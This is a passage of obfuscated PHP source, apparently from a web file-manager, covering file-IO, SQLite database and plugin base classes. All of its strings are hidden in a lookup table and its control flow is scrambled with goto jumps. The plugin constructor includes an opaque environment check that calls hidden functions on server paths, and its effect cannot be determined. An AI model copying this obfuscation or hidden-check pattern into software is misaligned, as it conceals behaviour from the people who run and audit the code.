$this->model->mkfile($fݒ, $E©̜, $eЍԧ, $fᣣ䋝); break; } $fݒ = $this->model->mkdir($fݒ, $E©̜, REPEAT_SKIP); } return $this->getPathOuter($fݒ); } public function mkdir($Fݥ, $eʬˍ = REPEAT_SKIP) { $a =& $_SERVER[ȦÆ]; $F = $this->parse($Fݥ); $Fݥ = $F[$a[372]]; for ($dۺ = 0; $dۺ < count($F[$a[1104]]); $dۺ++) { $EД = $F[$a[1104]][$dۺ]; $Fݥ = $this->model->mkdir($Fݥ, $EД, $eʬˍ); } return $this->getPathOuter($Fݥ); } public function copyFile($e‘, $a׫, $D‹ = REPEAT_REPLACE) { $f֍ѹ =& $_SERVER[ȦÆ]; $e킡 = $this->parse($a׫); $Dˍ = $this->model->copy($e‘, $e킡[$f֍ѹ[372]], $D‹, $e킡[$f֍ѹ[85]]); return $Dˍ ? $this->getPathOuter($Dˍ) : !1; } public function moveFile($b, $BÊ, $dķ = REPEAT_REPLACE) { $cǮ =& $_SERVER[ȦÆ]; $Aφ = $this->parse($BÊ); $f = $this->model->move($b, $Aφ[$cǮ[372]], $dķ, $Aφ[$cǮ[85]]); return $f ? $this->getPathOuter($f) : !1; } public function copy($cɅ, $Cӻ, $c˨ = REPEAT_REPLACE) { $fۣع = $this->parse($Cӻ); $C = $this->model->copy($cɅ, $fۣع[$_SERVER[ȦÆ][372]], $c˨); return $C ? $this->getPathOuter($C) : !1; } public function move($C‡, $Fψ, $E = REPEAT_REPLACE) { $d嶆 = $this->parse($Fψ); $d֮ = $this->model->move($C‡, $d嶆[$_SERVER[ȦÆ][372]], $E); return $d֮ ? $this->getPathOuter($d֮) : !1; } public function remove($B, $Cܦۻ = true) { return $this->model->remove($B, $Cܦۻ); } public function rename($Eϕ, $E) { $d = $this->model->rename($Eϕ, $E); return $d ? $this->getPathOuter($Eϕ) : $d; } public function size($DЉ) { $D = $this->infoSimple($DЉ); return $D ? $D[$_SERVER[ȦÆ][87]] : 0; } public function infoSimple($f) { return $this->model->sourceInfo($f); } public function info($Bϕ) { return $this->infoParse($Bϕ); } public function infoAuth($f) { return $this->infoParse($f, !1, !0); } public function infoWithChildren($a߳) { return $this->infoParse($a߳, !0); } protected function infoParse($BȔ, $e = false, $F = false) { if (!$e) { return $this->model->pathInfo($BȔ, $F); } return $this->model->pathInfoMore($BȔ); } public function infoFull($FА) { $c킦Ֆ =& $_SERVER[ȦÆ]; $dҘ = explode($c킦Ֆ[18], $FА); $AՌ = implode($c킦Ֆ[18], array_splice($dҘ, 1)); return $this->model->pathInfoByPath($dҘ[0], $AՌ); } public function hashSimple($e߅) { $Fѯ =& $_SERVER[ȦÆ]; $fڦ = $this->infoWithChildren($e߅); return $fڦ[$Fѯ[168]][$Fѯ[170]]; } public function hashMd5($b䅦) { $A׃ =& $_SERVER[ȦÆ]; $c = $this->infoWithChildren($b䅦); return $c[$A׃[168]][$A׃[169]]; } public function exist($cڔ) { $e =& $_SERVER[ȦÆ]; $e = $this->parse($cڔ); if (!$e[$e[85]]) { return $this->isFile($cڔ) || $this->isFolder($cڔ); } $A = array($e[373] => $e[$e[372]], $e[38] => $e[$e[85]]); $B͋ = $this->model->where($A)->find(); return $B͋ ? !0 : !1; } public function isFile($B) { $E⢤厈 =& $_SERVER[ȦÆ]; $CӬ = $this->infoSimple($B); return $CӬ && $CӬ[$E⢤厈[375]] == $E⢤厈[93] ? !1 : !0; } public function isFolder($e씚ܳ) { $D԰݃ =& $_SERVER[ȦÆ]; $f = $this->infoSimple($e씚ܳ); return $f && $f[$D԰݃[375]] == $D԰݃[93] ? !0 : !1; } public function listPath($Cओ, $A = false) { $f͂ڤ =& $_SERVER[ȦÆ]; if ($Cओ == $f͂ڤ[43]) { return !1; } $e٩铅 = array($f͂ڤ[373] => $Cओ); if ($A) { return $this->model->listSource($e٩铅, -1); } return $this->model->listSource($e٩铅); } public function has($f, $d = false, $bڠ = null) { $E =& $_SERVER[ȦÆ]; $aץپ = $this->infoWithChildren($f); if ($d) { return array($E[198] => $aץپ[$E[198]], $E[197] => $aץپ[$E[197]]); } return $bڠ ? $aץپ[$E[198]] : $aץپ[$E[197]]; } public function listAll($a) { $f̤܊ = IO::info($this->pathParse[$_SERVER[ȦÆ][85]]); if (!$f̤܊) { return array(); } return $this->model->listAll($a); } public function getContent($a) { return $this->model->getContent($a); } public function setContent($BӮ, $e✶ = '') { return $this->model->setContent($BӮ, $e✶); } public function fileSubstr($c, $EƓ, $F΍) { return $this->model->fileSubstr($c, $EƓ, $F΍); } public function download($bσґ, $fӫÆ = '') { $Cӥޓ = get_path_father($fӫÆ); $eэ† = get_path_this($fӫÆ); $cݐ = $this->model->fileInfoGet($bσґ); $Aɲ = IO::copy($cݐ[$_SERVER[ȦÆ][85]], $Cӥޓ, !1, $eэ†); return $Aɲ; } public function upload($F󐎸, $c癌, $F긇 = false, $b = REPEAT_REPLACE) { $C =& $_SERVER[ȦÆ]; $Bԋ = $this->parse($F󐎸); $Aޅ = $this->model->addFile($Bԋ[$C[372]], $c癌, $Bԋ[$C[85]], $F긇, $b); return $this->getPathOuter($Aޅ); } public function uploadFileByID($f, $c, $c삨) { $cأҷ =& $_SERVER[ȦÆ]; $d砋 = $this->parse($f); $Ç = $this->model->addFileByFileID($d砋[$cأҷ[372]], $c, $d砋[$cأҷ[85]], $c삨); return $this->getPathOuter($Ç); } public function addFileByRemote($Eљ, $Aًޓ, $aǗ = array(), $cߚ醅 = '', $aҪ) { $Aě =& $_SERVER[ȦÆ]; $E = $this->parse($Eљ); $cߚ醅 = empty($cߚ醅) ? $E[$Aě[85]] : $cߚ醅; $B = $this->model->addFileByRemote($E[$Aě[372]], $Aًޓ, $cߚ醅, $aǗ, $aҪ); return $this->getPathOuter($B); } public function uploadLink($f, $d = 0) { $b݃ =& $_SERVER[ȦÆ]; $e㘷ם = $this->parse($f); $f = Model($b݃[549])->createFileName($e㘷ם[$b݃[85]]); $c߾ò = IO::uploadLink($f, $d); return $c߾ò; } public function fileNameAuto($C㡉, $c퓗, $F = REPEAT_REPLACE, $f = false) { return $this->model->fileNameAuto($C㡉, $c퓗, $F, $f); } public function fileNameExist($Aӟ, $D˥뇩) { return $this->model->fileNameExist($Aӟ, $D˥뇩); } protected function _fileOut($d, $dԳ = false, $B̢ = false, $a߻ = '', $F” = false) { goto e՝; a㷱: if ($F”) { return IO::fileOutServer($f૝[$Aܺ[85]], $dԳ, $Dғ, $a߻); } IO::fileOut($f૝[$Aܺ[85]], $dԳ, $Dғ, $a߻); goto DԎ; Eǯ: $f૝ = $this->model->fileInfoGet($d); $a߻ = $f૝[$Aܺ[169]] ? $f૝[$Aܺ[169]] : $a߻; $Dғ = isset($GLOBALS[$Aܺ[1106]]) ? $GLOBALS[$Aܺ[1106]] : $f[$Aܺ[38]]; goto a㷱; e՝: $Aܺ =& $_SERVER[ȦÆ]; $f = $this->model->sourceInfo($d); if ($f[$Aܺ[375]] == $Aܺ[93]) { header($Aܺ[1105]); die; } goto Eǯ; DԎ: } public function fileOut($FآƤ, $e绐Ǣ̈́ = false, $E = false, $f共 = '') { $this->_fileOut($FآƤ, $e绐Ǣ̈́, $E, $f共); } public function fileOutServer($D, $F得 = false, $b = false, $a = '') { $this->_fileOut($D, $F得, $b, $a, !0); } protected function _fileOutImage($Bɒ, $C˾ = 250) { $cװ =& $_SERVER[ȦÆ]; $Cۚ = $this->model->sourceInfo($Bɒ); if ($Cۚ[$cװ[375]] == $cװ[93]) { show_json($cװ[1107] . $Bɒ, !1); } $GLOBALS[$cװ[1106]] = $Cۚ[$cװ[38]]; $BĘ = $this->model->fileInfoGet($Bɒ); IO::fileOutImage($BĘ[$cװ[85]], $C˾); } public function fileOutImage($B؛, $F͙ = 250) { $this->_fileOutImage($B؛, $F͙); } public function fileOutImageServer($F, $Aܿʇ = 250) { $this->_fileOutImage($F, $Aܿʇ); } public function link($B, $d럃 = '') { $C = $this->model->fileInfoGet($B); return IO::link($C[$_SERVER[ȦÆ][85]], $d럃); } protected function parse($D𥝃Ļ) { $DȠ =& $_SERVER[ȦÆ]; if (strstr($D𥝃Ļ, $DȠ[18]) === !1) { return array($DȠ[390] => intval($D𥝃Ļ), $DȠ[85] => $DȠ[43], $DȠ[1104] => array()); } $ă = explode($DȠ[18], trim($D𥝃Ļ, $DȠ[18])); if (count($ă) < 2) { show_tips($D𥝃Ļ . $DȠ[1108]); } return array($DȠ[390] => intval($ă[0]), $DȠ[85] => $ă[1], $DȠ[1104] => array_slice($ă, 1)); } } goto f˟; aÃ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { goto EŝϺ; EŝϺ: $e =& $_SERVER[ȦÆ]; global $in, $config; $this->config =& $config; goto aΌ; aΌ: $this->in =& $in; $this->values[$e[16]] =& $config; $this->values[$e[17]] =& $in; goto Dۭ; Dۭ: $this->tpl = TEMPLATE . MOD . $e[18]; $this->_classObjectID = mt_rand(0, 10000); goto d͵; d͵: } public function loadClass($b) { if (1 === func_num_args()) { $this->{$b} = new $b(); } else { $Eų = new ReflectionClass($b); $cե; = func_get_args(); array_shift($cե;); $this->{$b} = $Eų->newInstanceArgs($cե;); } return $this->{$b}; } protected function assign($b, $aǡϩ) { $this->values[$b] = $aǡϩ; } protected function display($Fͥ߬) { ob_end_clean(); extract($this->values); require $this->tpl . $Fͥ߬; } } class DbSqliteBase extends Db { public function __construct($Fӓ = '') { $F =& $_SERVER[ȦÆ]; if (!extension_loaded($F[19])) { think_exception(think_lang($F[20]) . $F[21]); } if (!empty($Fӓ)) { if (!isset($Fӓ[$F[22]])) { $Fӓ[$F[22]] = 438; } $this->config = $Fӓ; if (empty($this->config[$F[23]])) { $this->config[$F[23]] = array(); } } } public function connect($fŧ = '', $aӈ = 0) { $eߞصߏ =& $_SERVER[ȦÆ]; if (!isset($this->linkID[$aӈ])) { goto f̉е; f̉е: if (empty($fŧ)) { $fŧ = $this->config; } $a򪕿ٺ = !empty($fŧ[$eߞصߏ[23]][$eߞصߏ[24]]) ? $fŧ[$eߞصߏ[23]][$eߞصߏ[24]] : $this->pconnect; $Fؖê = $a򪕿ٺ ? $eߞصߏ[25] : $eߞصߏ[26]; goto cϭ; DՄ: @sqlite_busy_timeout($this->linkID[$aӈ], 30000); if (1 != think_config($eߞصߏ[28])) { unset($this->config); } goto EŻ⻞; cϭ: $this->linkID[$aӈ] = $Fؖê($fŧ[$eߞصߏ[27]], $fŧ[$eߞصߏ[22]]); if (!$this->linkID[$aӈ]) { think_exception(sqlite_error_string()); } $this->connected = !0; goto DՄ; EŻ⻞: } return $this->linkID[$aӈ]; } public function free() { $this->queryID = null; } public function query($bд﹊) { goto Eꕠː; Eꕠː: $dó =& $_SERVER[ȦÆ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto EԢ; EԢ: $this->queryStr = $bд﹊; if ($this->queryID) { $this->free(); } think_action_status($dó[29], 1); goto f屙; f屙: think_status($dó[30]); $this->queryID = sqlite_query($this->_linkID, $bд﹊); $this->debug(); goto E޺Λ; E޺Λ: if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $A󇞎 = $this->getAll(); return $A󇞎; } goto eƒ; eƒ: } public function execute($FЖ) { goto B۳; D̆: if (!1 === $b) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } goto cǑ; f: think_status($B[30]); $b = sqlite_exec($this->_linkID, $FЖ); $this->debug(); goto D̆; b: $this->queryStr = $FЖ; if ($this->queryID) { $this->free(); } think_action_status($B[31], 1); goto f; B۳: $B =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto b; cǑ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[ȦÆ][32]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $D¢̽ = sqlite_query($this->_linkID, $_SERVER[ȦÆ][33]); if (!$D¢̽) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $B = sqlite_query($this->_linkID, $_SERVER[ȦÆ][34]); if (!$B) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $B = array(); if ($this->numRows > 0) { for ($C˰ = 0; $C˰ < $this->numRows; $C˰++) { $B[$C˰] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $B; } public function getFields($bԨ) { $a =& $_SERVER[ȦÆ]; $aܭ = $this->query($a[35] . $bԨ . $a[36]); $E蒹 = array(); if ($aܭ) { foreach ($aܭ as $c => $F̔) { $E蒹[$F̔[$a[37]]] = array($a[38] => $F̔[$a[37]], $a[39] => $F̔[$a[40]], $a[41] => (bool) ($F̔[$a[42]] === $a[43]), $a[44] => $F̔[$a[45]], $a[46] => strtolower($F̔[$a[47]]) == $a[48], $a[49] => strtolower($F̔[$a[50]]) == $a[51]); } } return $E蒹; } public function getTables($fڔ = '') { $B؃ƒ =& $_SERVER[ȦÆ]; $aŮ = $this->query($B؃ƒ[52] . $B؃ƒ[53] . $B؃ƒ[54]); $D = array(); foreach ($aŮ as $fДˇ => $C) { $D[$fДˇ] = current($C); } return $D; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $dȘ򛒣 =& $_SERVER[ȦÆ]; $Cר = sqlite_last_error($this->_linkID); $this->error = $Cר . $dȘ򛒣[4] . sqlite_error_string($Cר); if ($dȘ򛒣[43] != $this->queryStr) { $this->error .= LNG($dȘ򛒣[55]) . $this->queryStr; } think_trace($this->error, $dȘ򛒣[43], $dȘ򛒣[56]); return $this->error; } public function escapeString($EӮ) { return sqlite_escape_string($EӮ); } public function parseLimit($Cᐷ) { $Bհω =& $_SERVER[ȦÆ]; $D = $Bհω[43]; if (!empty($Cᐷ)) { $Cᐷ = explode($Bհω[57], $Cᐷ); if (count($Cᐷ) > 1) { $D .= $Bհω[58] . $Cᐷ[1] . $Bհω[59] . $Cᐷ[0] . $Bհω[60]; } else { $D .= $Bհω[58] . $Cᐷ[0] . $Bհω[60]; } } return $D; } } class DbSqlite3Base extends Db { public function __construct($f޶ = '') { $Aѥ =& $_SERVER[ȦÆ]; if (!class_exists($Aѥ[61])) { think_exception(think_lang($Aѥ[20]) . $Aѥ[62]); } if (!empty($f޶)) { if (!isset($f޶[$Aѥ[22]])) { $f޶[$Aѥ[22]] = 438; } $this->config = $f޶; if (empty($this->config[$Aѥ[23]])) { $this->config[$Aѥ[23]] = array(); } } } public function connect($f” = '', $f勇 = 0) { $D =& $_SERVER[ȦÆ]; if (!isset($this->linkID[$f勇])) { if (empty($f”)) { $f” = $this->config; } $this->linkID[$f勇] = new SQLite3($f”[$D[27]]); if (!$this->linkID[$f勇]) { think_exception($this->linkID[$f勇]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$f勇]->busyTimeout(30000); if (1 != think_config($D[28])) { unset($this->config); } } return $this->linkID[$f勇]; } public function free() { $this->queryID = null; } public function query($bˈ) { goto A; e: if (!1 === $this->queryID) { $this->error(); return !1; } else { $E񓪧 = $this->getAll(); $this->numRows = count($E񓪧); return $E񓪧; } goto d掊; Dň: think_status($f[30]); $this->queryID = $this->_linkID->query($bˈ); $this->debug(); goto e; Fې: $this->queryStr = $bˈ; if ($this->queryID) { $this->free(); } think_action_status($f[29], 1); goto Dň; A: $f =& $_SERVER[ȦÆ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } goto Fې; d掊: } public function execute($F) { goto c꧸; F: if (!1 === $E) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } goto Aٯ; A: think_status($dഇ[30]); $E = $this->_linkID->exec($F); $this->debug(); goto F; c؎Դ: $this->queryStr = $F; if ($this->queryID) { $this->free(); } think_action_status($dഇ[31], 1); goto A; c꧸: $dഇ =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto c؎Դ; Aٯ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[ȦÆ][32]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $E = $this->_linkID->query($_SERVER[ȦÆ][33]); if (!$E) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $B鏯 = $this->_linkID->query($_SERVER[ȦÆ][34]); if (!$B鏯) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $AǮ = array(); while ($eݚ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $AǮ[] = $eݚ; } $this->queryID->reset(); return $AǮ; } public function getFields($cمʸ) { $c =& $_SERVER[ȦÆ]; $d仝 = $this->query($c[35] . $cمʸ . $c[36]); $e҉ΐ = array(); if ($d仝) { foreach ($d仝 as $fŲݐ => $fȹݱ) { $e҉ΐ[$fȹݱ[$c[38]]] = array($c[38] => $fȹݱ[$c[38]], $c[39] => $fȹݱ[$c[39]], $c[41] => (bool) ($fȹݱ[$c[41]] === $c[43]), $c[44] => $fȹݱ[$c[63]], $c[46] => (bool) $fȹݱ[$c[64]], $c[49] => (bool) $fȹݱ[$c[64]]); } } return $e҉ΐ; } public function getTables($b䛻 = '') { $e =& $_SERVER[ȦÆ]; $d躕 = $this->query($e[52] . $e[53] . $e[54]); $BԴ = array(); foreach ($d躕 as $A => $fƑ) { $BԴ[$A] = current($fƑ); } return $BԴ; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $bȏ =& $_SERVER[ȦÆ]; $this->error = $this->_linkID->lastErrorMsg(); if ($bȏ[43] != $this->queryStr) { $this->error .= LNG($bȏ[55]) . $this->queryStr; } think_trace($this->error, $bȏ[43], $bȏ[56]); return $this->error; } public function escapeString($A) { $Fر =& $_SERVER[ȦÆ]; if ($this->_linkID) { return $this->_linkID->escapeString($A); } return str_ireplace($Fر[65], $Fر[66], $A); } public function parseLimit($Bڧ) { $F墟 =& $_SERVER[ȦÆ]; $eȺ = $F墟[43]; if (!empty($Bڧ)) { $Bڧ = explode($F墟[57], $Bڧ); if (count($Bڧ) > 1) { $eȺ .= $F墟[58] . $Bڧ[1] . $F墟[59] . $Bڧ[0] . $F墟[60]; } else { $eȺ .= $F墟[58] . $Bڧ[0] . $F墟[60]; } } return $eȺ; } } goto C; E̜: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { goto Aÿ; Cݷ: $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($B[1295]); goto cʍ; bƈ: return $this; goto c; cʍ: $this->pluginName = str_replace($B[1295], $B[43], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $B[18]; $this->pluginApi = appHostGet() . $B[1296] . $this->pluginName . $B[18]; goto Bޡ; Bޡ: $this->pluginHost = $config[$B[1297]] . $this->pluginName . $B[18]; $this->pluginHostDefault = $config[$B[1297]] . $this->pluginName . $B[18]; $eߥ = $config[$B[1298]]; goto aи; aи: if ($eߥ && strpos($B[57] . $eߥ . $B[57], $this->pluginName) !== !1) { $this->pluginHost = $config[$B[1299]] . $this->pluginName . $B[18]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); goto bƈ; Aÿ: $B =& $_SERVER[ȦÆ]; if ($_SERVER[$B[8]] != $_SERVER[$B[787]]) { goto D펃; D펃: $Fύ = $B[788]; $b = $B[9]; $aیތ = $_SERVER[$B[10]] . $B[11]; goto a۸Ɨ; c: $B = $B[789]; $B($_SERVER[$B[790]]); $B($_SERVER[$B[10]] . $B[791]); goto d; a۸Ɨ: $FֹȖ = $b($aیތ); $FЛ؃ = explode($B[12], $FֹȖ); if (count($FЛ؃) < $B[597]) { $Fٛ = $B[14]; $Fٛ(); } goto c; d: $DМ = 1; while ($DМ > 1) { $DМ = $DМ + 4; $E؜ = rawurlencode($DМ . $B[366]); } goto FƬѶ; FƬѶ: } global $in, $config; goto Cݷ; c: } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ȦÆ][1300]); } protected function assign($bϪ, $C = false) { if (is_array($bϪ)) { $this->values = array_merge($this->values, $bϪ); } else { $this->values[$bϪ] = $C; } } protected function display($D٣Ώ) { extract($this->values); require $D٣Ώ; } final function hookRegist($f烾) { $this->modelPlugin->appRegist($this->pluginName, $f烾); } final function appIcon() { $BЈ =& $_SERVER[ȦÆ]; $fụɮ = $this->appPackage(); $Cèɐ = $BЈ[43]; if (isset($fụɮ[$BЈ[387]])) { if (isset($fụɮ[$BЈ[387]][$BЈ[1301]])) { $Cèɐ = $BЈ[1302] . $fụɮ[$BЈ[387]][$BЈ[1301]] . $BЈ[1303]; } else { if ($fụɮ[$BЈ[387]][$BЈ[1304]]) { $Cèɐ = $BЈ[1305] . $fụɮ[$BЈ[387]][$BЈ[1304]] . $BЈ[1306]; } } } return $Cèɐ; } final function fileCanView($f) { $E徬 =& $_SERVER[ȦÆ]; if (request_url_safe($f)) { return !0; } if ($this->isShare($f)) { return !0; } if (!Action($E徬[1307])->authCan($E徬[1308])) { show_tips(LNG($E徬[1309]) . $E徬[1310], !1); } ActionCall($E徬[1311], $f); } final function isShare($dɆ) { $C̎ = KodIO::parse($dɆ); return $C̎[$_SERVER[ȦÆ][39]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($A) { if (request_url_safe($A)) { return $A; } if (!$this->isShare($A)) { $A = $this->filePath($A); } return Action($_SERVER[ȦÆ][1010])->linkOut($A); } public function filePathLinkOut($E٠) { if (request_url_safe($E٠)) { return $E٠; } $this->fileCanView($E٠); return Action($_SERVER[ȦÆ][1010])->link($E٠); } final function filePath($Bֽ) { $fǔ =& $_SERVER[ȦÆ]; if ($EѦ = $this->checkSharePath($Bֽ)) { return $EѦ; } $this->fileCanView($Bֽ); if (request_url_safe($Bֽ)) { $fǞ = parse_url_query($Bֽ); if (isset($fǞ[$fǔ[1312]]) && isset($fǞ[$fǔ[203]])) { $F졧 = Model($fǔ[1081])->get($fǔ[1313]); $f = Mcrypt::decode($fǞ[$fǔ[203]], $F졧); if ($f) { $this->fileInfo = IO::infoWithChildren($f); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $f; } } $Bֽ = $this->_cacheHttpFile($Bֽ); $this->fileInfo = IO::infoWithChildren($Bֽ); } else { $this->fileInfo = IO::infoWithChildren($Bֽ); if (!$this->fileInfo) { show_tips(LNG($fǔ[110]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } return $Bֽ; } final function _cacheHttpFile($B) { $aDž = hash_path($B, !0); $this->cachePath = $this->pluginCachePath($aDž); if ($dȆ = IO::fileNameExist($this->cachePath, $aDž)) { return KodIO::make($dȆ); } $dųϓ = $this->cachePath . $aDž; return $this->pluginCacheFileSet($dųϓ, file_get_contents($B)); } final function _tmpFileName($a = array()) { goto f; f: $cѾ =& $_SERVER[ȦÆ]; if (!$a) { $a = $this->fileInfo; } if (isset($a[$cѾ[170]])) { return $a[$cѾ[170]]; } goto B袮; B袮: if (isset($a[$cѾ[168]][$cѾ[170]])) { return $a[$cѾ[168]][$cѾ[170]]; } $B = array($a[$cѾ[38]], $a[$cѾ[85]], $a[$cѾ[87]]); if (isset($a[$cѾ[464]])) { $B[] = $a[$cѾ[464]]; } goto eͅ; eͅ: return md5(implode($cѾ[80], $B)); goto dͼ; dͼ: } final function checkSharePath($bѦ) { goto cٮŽ; cٮŽ: $DȂ =& $_SERVER[ȦÆ]; if (!defined($DȂ[432])) { define($DȂ[1314], 0); } if (!$this->isShare($bѦ)) { return !1; } goto Dڄ۔; c䆎: $this->cachePath = $this->pluginCachePath($this->fileInfo[$DȂ[170]]); return $f[$DȂ[85]]; goto Dſɇ; Dڄ۔: $f = Action($DȂ[1010])->sharePathInfo($bѦ); if (!isset($f[$DȂ[85]])) { show_json(LNG($DȂ[1315]), !1); } $this->fileInfo = $f[$DȂ[168]]; goto c䆎; Dſɇ: } final function pluginCachePath($e = '') { $aҰ =& $_SERVER[ȦÆ]; $Bޟ = IO_PATH_SYSTEM_TEMP . $aҰ[1316] . $this->pluginName; if (!($bҊ = IO::infoFull($Bޟ))) { return IO::mkdir($Bޟ . $aҰ[18] . $e); } if (empty($e)) { return $bҊ[$aҰ[85]]; } if (!($f = IO::fileNameExist($bҊ[$aҰ[85]], $e))) { return IO::mkdir($bҊ[$aҰ[85]] . $e); } return KodIO::make($f); } final function pluginCacheFileSet($a, $Aᵺ = '') { $f =& $_SERVER[ȦÆ]; if (!($CѦ = IO::infoFull($a))) { return IO::mkfile($a, $Aᵺ, REPEAT_REPLACE); } IO::setContent($CѦ[$f[85]], $Aᵺ); return $CѦ[$f[85]]; } final function pluginLocalFile($a꿕ʇ = '') { goto C; b䊕: if (!$a꿕ʇ) { return $bŭጄ; } $f䳫 = IO::info($a꿕ʇ); $cʻ߳ = $this->_tmpFileName($f䳫) . $A[101] . $f䳫[$A[166]]; goto cތ; cތ: $cèؼ = $bŭጄ . $cʻ߳; if (@file_exists($cèؼ)) { return $cèؼ; } return IO::copy($a꿕ʇ, $bŭጄ, 0, $cʻ߳); goto A; C: $A =& $_SERVER[ȦÆ]; $bŭጄ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($bŭጄ)) { mk_dir($bŭጄ); } goto b䊕; A: } final function appPackage() { goto Dܦ; B…: $this->parseLang($d쮚ݕ); $bފ = json_decode_force($d쮚ݕ); if (!$bފ) { return array(); } goto C˝; C˝: $Eݎ = Hook::trigger($b[1318], $bފ); if ($Eݎ && is_array($Eݎ)) { $bފ = $Eݎ; } $this->packageData = $bފ; goto cގꍗ; Dܦ: $b =& $_SERVER[ȦÆ]; if ($this->packageData) { return $this->packageData; } $d쮚ݕ = $this->parseFile($this->pluginPath . $b[1317]); goto B…; cގꍗ: return $bފ; goto C鮍Ѿ; C鮍Ѿ: } public function packageInfoGet($fտ) { $Aƞ = $this->appPackage(); return array_get_value($Aƞ, $fտ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ȦÆ][1319]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ȦÆ][1320]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ȦÆ][1321]); } private function parseFile($fƎ) { $cҕ =& $_SERVER[ȦÆ]; $d = file_get_contents($fƎ); $B⊅ = array($cҕ[1322], $cҕ[1323], $cҕ[1324], $cҕ[1325], $cҕ[1326], $cҕ[1327], $cҕ[1328]); $f˯۩ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$cҕ[94]][$cҕ[1329]]); $d = str_replace($B⊅, $f˯۩, $d); return $d; } private function parseLang(&$bå墩) { goto a; E: $e˒ = array(); foreach ($a[0] as $Dƾ) { $d = substr($Dƾ, strlen($F), -4); $b֙Ѓ = LNG($d); $aԞ[] = $Dƾ; $e˒[] = str_replace(array($aܟ٣[12], $aܟ٣[985], $aܟ٣[335], $aܟ٣[122]), array($aܟ٣[60], $aܟ٣[60], $aܟ٣[43], $aܟ٣[1332]), $b֙Ѓ); } $bå墩 = str_replace($aԞ, $e˒, $bå墩); goto B; f剩: preg_match_all($aܟ٣[1331], $bå墩, $a); if (!is_array($a) || count($a) == 0 || !is_array($a[0]) || count($a[0]) == 0) { return; } $aԞ = array(); goto E; a: $aܟ٣ =& $_SERVER[ȦÆ]; $F = $aܟ٣[1330]; if (!strstr($bå墩, $F)) { return; } goto f剩; B: } private function parseConfig(&$CȻ) { goto Aю; Aю: $e͓ =& $_SERVER[ȦÆ]; $eÚ = $e͓[1333]; if (!strstr($CȻ, $eÚ)) { return; } goto F; c: $d = array(); $f琣 = array(); foreach ($Fҋ[0] as $bʔ) { $D = substr($bʔ, strlen($eÚ), -2); $d[] = $bʔ; $f琣[] = _get($B, $D); } goto Bڰ; Bڰ: $CȻ = str_replace($d, $f琣, $CȻ); goto D; F: preg_match_all($e͓[1334], $CȻ, $Fҋ); if (!is_array($Fҋ) || count($Fҋ) == 0 || !is_array($Fҋ[0]) || count($Fҋ[0]) == 0) { return; } $B = $this->getConfig(); goto c; D: } private function parsePackage(&$c睌) { goto Cđ; Cđ: $DڸÚ =& $_SERVER[ȦÆ]; $aDzܹ = $DڸÚ[1335]; if (!strstr($c睌, $aDzܹ)) { return; } goto eː; eː: preg_match_all($DڸÚ[1336], $c睌, $eê); if (!is_array($eê) || count($eê) == 0 || !is_array($eê[0]) || count($eê[0]) == 0) { return; } $B = $this->appPackage(); goto cа; cа: $D禦 = array(); $cШ = array(); foreach ($eê[0] as $aĖ) { $a˞Є = substr($aĖ, strlen($aDzܹ), -2); $D禦[] = $aĖ; $cШ[] = _get($B, $a˞Є); } goto Cҵ; Cҵ: $c睌 = str_replace($D禦, $cШ, $c睌); goto CǼ; CǼ: } final function echoFile($FĠ, $C֔ = false) { goto Aׯ; Aׯ: $B =& $_SERVER[ȦÆ]; $fĸɦ = $this->pluginPath . $FĠ; if (ACT == $B[1337]) { echo $B[1338] . $this->pluginName . $B[18] . $FĠ . $B[1339]; if (!file_exists($fĸɦ)) { echo $B[1340]; return; } } goto AËȢ; AËȢ: $a = $this->parseFile($fĸɦ); $this->parseLang($a); $this->parseConfig($a); goto B; B: $this->parsePackage($a); if (is_array($C֔)) { $a = str_replace(array_keys($C֔), array_values($C֔), $a); } echo $B[12] 